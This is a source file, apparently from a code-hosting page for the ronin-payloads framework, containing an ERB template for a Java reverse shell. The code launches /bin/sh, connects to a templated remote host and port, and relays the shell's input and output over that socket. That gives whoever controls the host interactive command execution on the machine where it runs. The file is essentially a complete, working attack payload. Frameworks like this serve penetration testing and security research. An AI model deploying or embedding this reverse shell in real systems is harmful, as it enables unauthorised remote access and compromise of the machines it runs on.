ronin-rb/ronin-payloads

View on GitHub
lib/ronin/payloads/builtin/java/reverse_shell/Payload.java.erb

Summary

Maintainability
Test Coverage
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;

public class Payload
{
    public static void main(String argv[]) throws Exception
    {
        String host = <%= params[:host].inspect -%>;
        int port = <%= params[:port] -%>;
        String shell = "/bin/sh";

        Process process = new ProcessBuilder(shell).redirectErrorStream(true).start();
        Socket socket = new Socket(host,port);

        InputStream process_input =process.getInputStream();
        InputStream process_error = process.getErrorStream();
        InputStream socket_input = socket.getInputStream();
        OutputStream process_output = process.getOutputStream();
        OutputStream socket_output = socket.getOutputStream();

        while (!socket.isClosed())
        {
            while (process_input.available()>0)
            {
                socket_output.write(process_input.read());
            }

            while (process_error.available()>0)
            {
                socket_output.write(process_error.read());
            }

            while (socket_input.available()>0)
            {
                process_output.write(socket_input.read());
            }

            socket_output.flush();
            process_output.flush();
            Thread.sleep(50);

            try
            {
                process.exitValue();
                break;
            }
            catch (Exception e) {}
        };

        process.destroy();
        socket.close();
    }
}